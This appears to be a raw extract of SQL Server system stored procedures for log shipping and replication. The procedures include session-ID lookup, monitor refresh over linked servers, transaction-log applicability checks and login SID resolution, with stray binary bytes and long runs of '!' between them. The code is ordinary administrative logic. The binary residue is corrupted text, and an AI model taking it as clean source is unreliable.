0j@ P8q}h>a[!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!x`	<	+%x%zs0 8create procedure sys.sp_MSget_log_shipping_new_sessionid 
(
    @agent_id uniqueidentifier      -- primary/secondary ID
    ,@agent_type tinyint                    -- 0 = Backup, 1 = Copy, 2 = Restore
    ,@session_id int output
)
as
begin
    set nocount on
    declare @retcode int
                ,@agent_idstring sysname

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- validate agent_type
    --
    if (@agent_type not in (0,1,2))
    begin
        raiserror(21055, 16, -1, '@agent_type','sp_MSget_log_shipping_new_sessionid')
        return 1
    end
    --
    -- validate agent
    --
    if (sys.fn_MSvalidatelogshipagentid(@agent_id, @agent_type) = 0)
    begin
        select @agent_idstring = cast(@agent_id as sysname)
        raiserror(32016, 16, 1, @agent_idstring, @agent_type)
        return 1
    end
    --
    -- get the current session id
    --
    select @session_id = isnull(max(session_id),0) + 1
    from msdb.dbo.log_shipping_monitor_history_detail 
    where agent_id = @agent_id and agent_type = @agent_type
    --
    -- all done
    --
    return 0
end
0Z s
8create procedure sys.sp_MSscriptcustominsproc 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL		 -- May only be non-NULL if @publishertype = 2
    ,@usesqlclr bit=1
    ,@inDDLrepl bit=0
)
as
begin
	declare @retcode int
			,@scripting_proc nvarchar(512)
			,@insformat int
	-- constants
			,@callformat tinyint
			,@scallformat tinyint

	select @callformat = 1
			,@scallformat = 5

	--
	-- security check
	--
	exec @retcode = sys.sp_MSreplcheck_publish_withddladmin
	if @@error <> 0 or @retcode <> 0
	begin
	    return (1)
	end
	select @scripting_proc = quotename(object_name(ins_scripting_proc)) 
			,@insformat = case 
			    		when charindex( N'CALL', upper(ins_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then @callformat
			    		when charindex( N'SCALL', upper(ins_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then @scallformat
			    		else 0 end
		from dbo.sysarticles where artid = @artid

	-- SQL/None upd_cmd does not involve scripting, return without doing anything here.
	if @insformat = 0 
		return 0
	
	if @scripting_proc is null
	begin

        if @usesqlclr = 1 and @publishertype = 1
        begin
            exec @retcode = sys.sp_MSscriptcustominsproc_sqlclr
                @artid = @artid
                ,@publisher = @publisher
        end
        else
        begin
		    select @scripting_proc = case @insformat when @callformat then N'sys.sp_scriptinsproc'
			    								when @scallformat then N'sys.sp_scriptsinsproc'
				    							else N'' end
											
		    exec @retcode = @scripting_proc @artid = @artid
			    						,@publishertype = @publishertype
				    					,@publisher = @publisher
        end
	end
 	else 
 	begin
		--
		-- For security: break ownership chain as
		-- we have no control over the proc name is
		--
		declare @spretcode int
				,@spcall nvarchar(512)
		declare @temptext table(colidx int identity, col nvarchar(max) collate database_default) 
		select @spcall = N'exec @p1 = ' + @scripting_proc + N' @artid = @p2 '
		if @inDDLrepl = 1
		begin
			exec @retcode = sys.sp_executesql @stmt = @spcall
				,@params = N'@p1 int output, @p2 int'
				,@p1 = @spretcode output
				,@p2 = @artid
		end
		else
		begin
			insert @temptext(col) exec @retcode = sys.sp_executesql @stmt = @spcall
				,@params = N'@p1 int output, @p2 int'
				,@p1 = @spretcode output
				,@p2 = @artid
			select col from @temptext order by colidx
		end
		if (@retcode != 0 or @spretcode != 0)
			select @retcode = 1
	end
 
	return @retcode
end
0P D8hU),Q!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!![`	<9	+)de0a 8create procedure sys.sp_MSproxylogshippingmonitorrefresh 
(
    @agent_id uniqueidentifier     -- primary/secondary ID
    ,@agent_type tinyint              -- 0 = Backup, 1 = Copy, 2 = Restore
    ,@database sysname = NULL  -- primary/secondary database
    ,@mode tinyint                      -- 1 = refresh, 2 = delete
    ,@monitor_server sysname
)
with execute as 'dbo'
as
begin
    set nocount on
    declare @retcode int
                ,@linkcmd nvarchar(4000)
    --
    -- prepare query
    --
    select @retcode = 0
    --
    -- cleanup metadata first
    --
    if (@agent_type = 0)
    begin
        --
        -- delete Primary monitor data
        --
        select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.sys.sp_processlogshippingmonitorprimary'
        begin try
            exec @retcode = @linkcmd @mode = 2
                                    ,@primary_id = @agent_id
                                    ,@primary_server = @@servername
                                    ,@monitor_server = @monitor_server
                                    ,@monitor_server_security_mode = 0
        end try
        begin catch
            select @retcode = 1
        end catch
    end
    else
    begin
        --
        -- delete Secondary monitor data
        --
        select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.sys.sp_processlogshippingmonitorsecondary'
        begin try
            exec @retcode = @linkcmd @mode = 2
                ,@secondary_server = @@servername
                ,@secondary_database = @database
                ,@secondary_id = @agent_id
                ,@monitor_server = @monitor_server
                ,@monitor_server_security_mode = 0
        end try
        begin catch
            select @retcode = 1
        end catch
    end
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- If we deleting - then we are done
    --
    if (@mode = 2)
        return @retcode
    --
    -- refresh now 
    --
    if (@agent_type = 0)
    begin
        --
        -- refresh primary data 
        --
        select @linkcmd = N'insert into ' + quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.dbo.log_shipping_monitor_primary ' 
            + N'(primary_id,primary_server,primary_database,backup_threshold,threshold_alert,threshold_alert_enabled,last_backup_file,last_backup_date,last_backup_date_utc,history_retention_period) '
            + N'select primary_id,primary_server,primary_database,backup_threshold,threshold_alert,threshold_alert_enabled,last_backup_file,last_backup_date,last_backup_date_utc,history_retention_period '
            + N'from msdb.dbo.log_shipping_monitor_primary where primary_id = N''' + CAST(@agent_id as nvarchar(50)) +  ''' '
        begin try
            EXEC(@linkcmd)
        end try
        begin catch
            select @retcode = 1
        end catch
    end
    else
    begin
        --
        -- refresh secondary data 
        --
        select @linkcmd = N'insert into ' + quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.dbo.log_shipping_monitor_secondary ' 
            + N'(secondary_server,secondary_database,secondary_id,primary_server,primary_database,restore_threshold,threshold_alert,threshold_alert_enabled'
            + N',last_copied_file,last_copied_date, last_copied_date_utc, last_restored_file,last_restored_date, last_restored_date_utc, last_restored_latency, history_retention_period) '
            + N'select secondary_server,secondary_database,secondary_id,primary_server,primary_database,restore_threshold,threshold_alert,threshold_alert_enabled'
            + N',last_copied_file,last_copied_date, last_copied_date_utc, last_restored_file,last_restored_date, last_restored_date_utc, last_restored_latency, history_retention_period '
            + N'from msdb.dbo.log_shipping_monitor_secondary where secondary_server = @@servername and secondary_id = N''' + CAST(@agent_id as nvarchar(50)) +  ''' '
            if (@database is not null)
            BEGIN
                SELECT @linkcmd = @linkcmd + N' and secondary_database = ''' + sys.fn_replreplacesinglequote(CAST(@database as nvarchar(128))) + ''' '
            END
        begin try
            EXEC(@linkcmd)
        end try
        begin catch
            select @retcode = 1
        end catch
    end
    if @@error != 0 OR @retcode != 0
        return 1
    --
    -- refresh history 
    --
    select @linkcmd = N'insert into ' + quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.dbo.log_shipping_monitor_history_detail ' 
        + N'(agent_id,agent_type,session_id,database_name,session_status,log_time,log_time_utc,message) '
        + N'select agent_id,agent_type,session_id,database_name,session_status,log_time,log_time_utc,message '
        + N'from msdb.dbo.log_shipping_monitor_history_detail where agent_id = N''' + CAST(@agent_id as nvarchar(50)) +  ''' '
    begin try
        EXEC(@linkcmd)
    end try
    begin catch
        select @retcode = 1
    end catch
    if @@error != 0 OR @retcode != 0
        return 1
    --
    -- refresh error 
    --
    select @linkcmd = N'insert into ' + quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.dbo.log_shipping_monitor_error_detail ' 
        + N'(agent_id,agent_type,session_id,database_name,sequence_number,log_time,log_time_utc,message,source,help_url) '
        + N'select agent_id,agent_type,session_id,database_name,sequence_number,log_time,log_time_utc,message,source,help_url '
        + N'from msdb.dbo.log_shipping_monitor_error_detail where agent_id = N''' + CAST(@agent_id as nvarchar(50)) +  ''' '
    begin try
        EXEC(@linkcmd)
    end try
    begin catch
        select @retcode = 1
    end catch
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`		<w	X+%a[0[p"@ 8create procedure sys.sp_MSreplicationagentjobcontrol (
    @job_id uniqueidentifier,
    @action tinyint
    )
as
begin
    set nocount on
    declare @retcode int
            ,@start tinyint
            ,@stop tinyint

    set @start = 0
    set @stop = 1
    set @retcode = 0

    if @action = @start
        exec @retcode = msdb.dbo.sp_start_job @job_id = @job_id
    else if @action = @stop
        exec @retcode = msdb.dbo.sp_stop_job @job_id = @job_id
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<	X+)]0eD 8create procedure sys.sp_can_tlog_be_applied
(
    @backup_file_name nvarchar(500)
    ,@database_name sysname
    ,@result bit = 0 output
    ,@verbose bit = 0
)
as
begin
    set nocount on
    declare @retcode int
            ,@command nvarchar(1000)
            ,@backup_type int
            ,@backupdbname sysname
            ,@backup_first_lsn numeric(25,0)
            ,@backup_last_lsn numeric(25,0)
            ,@db_redo_start_lsn numeric(25,0)
    declare @backup_header table (
            BackupName             nvarchar(128)  NULL,
            BackupDescription      nvarchar(256)  NULL,
            BackupType             int, 
            ExpirationDate         datetime NULL,
            Compressed             int,
            Position               int,
            DeviceType             int,
            UserName               nvarchar(128) NULL,
            ServerName             nvarchar(128),
            DatabaseName           nvarchar(128),
            DatabaseVersion        int,
            DatabaseCreationDate   datetime,
            BackupSize             numeric(20,0) NULL,
            FirstLsn               numeric(25,0) NULL,
            LastLsn                numeric(25,0) NULL,
            CheckpointLsn          numeric(25,0) NULL,
            DatabaseBackupLsn      numeric(25,0) NULL,
            BackupStartDate        datetime,
            BackupFinishDate       datetime,
            SortOrder              int,
            CodePage               int,
            UnicodeLocaleId        int,
            UnicodeComparisonStyle int,
            CompatibilityLevel     int,
            SoftwareVendorId       int,
            SoftwareVersionMajor   int,
            SoftwareVersionMinor   int,
            SoftwareVersionBuild   int,
            MachineName            nvarchar(128),
            Flags                  int NULL,
            BindingId              uniqueidentifier NULL,
            RecoveryForkId         uniqueidentifier NULL,
            Collation              nvarchar(128) null,
            FamilyGUID uniqueidentifier null,
            HasBulkLoggedData bit null,
            IsSnapshot bit null,
            IsReadOnly bit null,
            IsSingleUser bit null,
            HasBackupChecksums bit null,
            IsDamaged bit null,
            BeginsLogChain bit null,
            HasIncompleteMetadata bit null,
            IsForceOffline bit null,
            IsCopyOnly bit null,
            FirstRecoveryForkID uniqueidentifier null,
            ForkPointLSN numeric(25,0) null,
            RecoveryModel nvarchar(60) null,
            DifferentialBaseLSN numeric(25,0) null,
            DifferentialBaseGUID uniqueidentifier null,
            BackupTypeDescription nvarchar(60) null,
            BackupSetGUID uniqueidentifier null,
            CompressedBackupSize numeric(20,0) null,
            Containment tinyint NOT NULL)

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- initialize
    --
    select @result = 0
    --
    -- get the backup information
    --
    select @command = N'restore headeronly from disk = N''' + replace(@backup_file_name, N'''',N'''''') + N'''' 
    insert into @backup_header
        execute(@command)
    if (@@error != 0)
        return 1
    --
    -- get the redo start lsn for the database
    -- choose the smallest value from all of the files of the database being restored
    -- State 0 is "online", so this handles page restore, or cases where the "restoring" state isn't marked properly.
    -- State 1 is "restoring", which is the expected state.
    -- redo_start_lsn is null for files which are not subject to restore.
    --
    select @db_redo_start_lsn = min(redo_start_lsn)
    from master.sys.master_files 
    where database_id = db_id (@database_name)
        and type = 0
        and state in (0,1)
        and redo_start_lsn is not null

    if (@db_redo_start_lsn is null)
    begin
        --
        -- the log can not be restored
        --
        return 0
    end  -- if (@db_redo_start_lsn is null)

    if (@verbose = 1)
    begin
        raiserror('The redo start LSN for the database is:', 10, 1)
        select @db_redo_start_lsn
    end
    --
    -- Get the first LSN from backup header
    -- Will need the other info for old method
    --
    select top 1 @backupdbname = DatabaseName
                    ,@backup_first_lsn = ISNULL(FirstLsn, 0)
                    ,@backup_last_lsn = ISNULL(LastLsn, 0)
                    ,@backup_type = BackupType
    from @backup_header
    if (@verbose = 1)
    begin
        raiserror(N'The backup details (FirstLSN, LastLSN, BackupType, DatabaseName) :', 10, 1)
        select @backup_first_lsn, @backup_last_lsn, @backup_type, @backupdbname
    end
    --
    -- Basic sanity checks
    --
    if (@backupdbname != @database_name)
    begin
        raiserror(14418,10,1, @database_name)
    end
    if (@backup_type not in (1,2))
    begin
        raiserror(14419,-1,-1)
        return (1) -- Failure
    end
    --
    -- We can apply the backup if the 
    -- backup_first_lsn <= db_redo_start_lsn < backup_last_lsn
    -- In strict sense - we can apply the backup if db_redo_start_lsn
    -- is equal to backup_last_lsn, however no pages will be restored
    -- The aim is to pick one log file that will satisfy the criterion for
    -- applying restore
    --
    if (@db_redo_start_lsn >= @backup_first_lsn and @db_redo_start_lsn < @backup_last_lsn)
        select @result = 1
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<|
~	+VH|$0!5@ z8CREATE PROCEDURE sys.sp_MSfast_delete_trans
as
begin
    declare @retcode int

    --
    -- security check is done in sp_MSdrop_snapshot_dirs
    --
    EXEC @retcode = sys.sp_MSdrop_snapshot_dirs
    if( @retcode <> 0 or @@error <> 0 )
    	return 1

    truncate table MSrepl_commands
    truncate table MSrepl_transactions
end
0R/8 `8create procedure sys.sp_resolve_logins
(
    @dest_db         sysname
   ,@dest_path       nvarchar(255)
   ,@filename        nvarchar(255)
)
as
begin
    set nocount on   
    declare   @retcode int 
                ,@command nvarchar(4000)
                ,@lgnname sysname
                ,@lgnsid varbinary(85)
                ,@usrname sysname

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- ERROR IF IN USER TRANSACTION
    --
    IF @@trancount > 0
    BEGIN
        raiserror(15289,-1,-1)
        RETURN (1)
    END
    --
    -- Validate the directory the dat file is in.
    -- Remove heading and trailing spaces
    -- If the last char is '\', remove it.
    --
    select @dest_path = RTRIM(LTRIM(@dest_path))
    if substring(@dest_path, len(@dest_path),1) = N'\'
        select @dest_path = substring(@dest_path, 1, len(@dest_path)-1)
    --
    -- Don't do validation if it is a UNC path due to security problem.
    -- If the server is started as a service using local system account, we
    -- don't have access to the UNC path.
    --
    if substring(@dest_path, 1,2) != N'\\'
    BEGIN
        select @command = N'dir "' + REPLACE(sys.fn_escapecmdshellsymbolsremovequotes(@dest_path) collate database_default, N'''', N'''''' ) + N'"'
        begin try
        exec @retcode = master.dbo.xp_cmdshell @command, N'no_output'
        end try
        begin catch
            select @retcode = 1
        end catch
        if @@error != 0
            RETURN (1)
        if @retcode != 0 
        BEGIN
            raiserror (14430, 16, -1, @dest_path)              
            RETURN (1)
        END
    END
    --
    -- CREATE the temp table for the datafile
    -- This method ensures we are always getting the
    -- real table definition of the syslogins table.
    --
    select *
    into #sysloginstemp
    from master.dbo.syslogins
    where sid = 0x00
    truncate TABLE #sysloginstemp
    --
    -- BULK INSERT the file into the temp table.
    --
    select @command = REPLACE(sys.fn_escapecmdshellsymbolsremovequotes(@dest_path + N'\' + @filename) collate database_default, N'''', N'''''' )
    begin try
    exec(N'BULK INSERT #sysloginstemp FROM "' 
                + @command
                + N'" WITH (DATAFILETYPE = ''widenative'', KEEPNULLS)')
    end try
    begin catch
        select @retcode = 1
    end catch
    if @@error != 0 or @retcode != 0
        return 1
    --
    -- UPDATE the SID in the destination database to the value in the current server's 
    -- syslogins table ensuring that the names match between the source and destination 
    -- syslogins tables.  Do this by cursoring through each login and executing
    -- sp_change_users_login for each login that require a SID resynch.
    --
    -- DECLARE & OPEN CURSOR over old login names
    select @command = quotename(@dest_db) + N'.dbo.sp_change_users_login'
    
    declare #loginmapping CURSOR LOCAL FOR 
        select name, sid from #sysloginstemp
    open #loginmapping
    fetch #loginmapping into @lgnname, @lgnsid
    while (@@fetch_status >= 0)
    begin
        -- GET NAME OF USER THAT NEEDS TO BE RE-MAPPED FOR THIS LOGIN
        select @usrname = NULL
        select @usrname = u.name
        from dbo.sysusers u, master.dbo.syslogins l
        where u.sid = @lgnsid 
        and l.loginname = @lgnname 
        and l.sid <> u.sid
        -- IF WE HAVE A USER NAME, DO THE REMAPPING
        IF @usrname IS NOT NULL
        BEGIN
            exec @retcode = @command @Action = 'Update_One'
                                        ,@UserNamePattern = @usrname
                                        ,@LoginName = @lgnname
            if @@error != 0 or @retcode != 0
                return 1
        END
        -- GET NEXT LOGIN-MAPPING
        fetch #loginmapping into @lgnname, @lgnsid
    end
    close #loginmapping
    deallocate #loginmapping
    --
    -- all done
    --
    RETURN  (0)
end
0` D8Bjh 9!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!:`	<>
o+*'0h 8create proc sys.sp_MScheck_merge_subscription_count 
(
    @publisher sysname,
    @publisher_engine_edition int,
    @about_to_insert_new_subscription bit
)
as 
begin
    set nocount on
    declare @retcode int
    
    -- Security Check: require sysadmin/dbo of dist 
    IF IS_MEMBER('db_owner') != 1
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN 1
    END

    -- database must be distribution db
    IF sys.fn_MSrepl_isdistdb(DB_NAME()) <> 1
    BEGIN
        RAISERROR (21482, 16, -1, 'sp_MScheck_merge_subscription_count', 'distribution')
        RETURN 1
    END

    exec @retcode = sys.sp_MScheck_subscription_count_internal @mode=1 
                                    ,@publisher = @publisher
                                    ,@publisher_engine_edition = @publisher_engine_edition
                                    ,@about_to_insert_new_subscription = @about_to_insert_new_subscription
    return @retcode
end
0xq u8create procedure sys.sp_MSget_shared_agent 
(
    @server_name    sysname,
    @database_name    sysname,
    @agent_type        int,
    @publisher        sysname = NULL,
    @publisher_db    sysname = NULL
) 
as
begin
    DECLARE @retcode    int

    SET @retcode = 0

    --
    -- security check
    -- only db_owner and replmonitor can execute this
    --
    if not ((is_member ('db_owner') = 1) or (isnull(is_member('replmonitor'),0) = 1))
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    -- push agents to SQL publications
    if @agent_type = 0
    begin
        if object_id('syssubscriptions') is not null
        begin
            DECLARE @publisher_type sysname

            EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher      = @publisher,
															@publisher_type = @publisher_type OUTPUT

            IF @retcode <> 0
                RETURN (@retcode)

            select	top 1
                    distribution_jobid AS N'job_id'
            from    syssubscriptions s,
                    sysarticles a,
                    syspublications p
            where   s.srvname = UPPER(@server_name) 
              and   s.dest_db            = @database_name
              and   s.subscription_type  = 0
              and   p.independent_agent  = 0
              and   s.artid              = a.artid
              and   p.pubid              = a.pubid
              and   p.pubid IN (SELECT * FROM sys.fn_IHgetpubid(p.name, @publisher, @publisher_type))
        end
    end
    -- push agents to third party
    else if @agent_type = 1
    begin
        if object_id('MSsubscriptions') is not null
        begin
            select    top 1 job_id AS N'job_id'
            from    MSdistribution_agents da,
                    master.dbo.sysservers spub,
                    master.dbo.sysservers ssub
            where    da.subscriber_id        = ssub.srvid
              and    da.subscriber_db        = @database_name
              and    da.publication            = N'ALL'
              and    da.publisher_id            = spub.srvid
              and    da.publisher_db            = @publisher_db
              and    da.subscription_type    = 0
              and    UPPER(spub.srvname)        = UPPER(@publisher) collate database_default
              and    UPPER(ssub.srvname)        = UPPER(@server_name) collate database_default
        end
    end
    else if @agent_type = 2
    begin
        if object_id('MSreplication_subscriptions') is not null
        begin
            -- For subscriptions added through Active X control
            -- where there's no local agent created, we still don't
            -- want to create new agent.
            select    top 1 agent_id as N'job_id'
            from    MSreplication_subscriptions
            where    UPPER(publisher)    = UPPER(@server_name)
              and    publisher_db        = @database_name
              and    independent_agent    = 0
              and    subscription_type in (1,2)
        end
    end
    
    RETURN (@retcode)
end
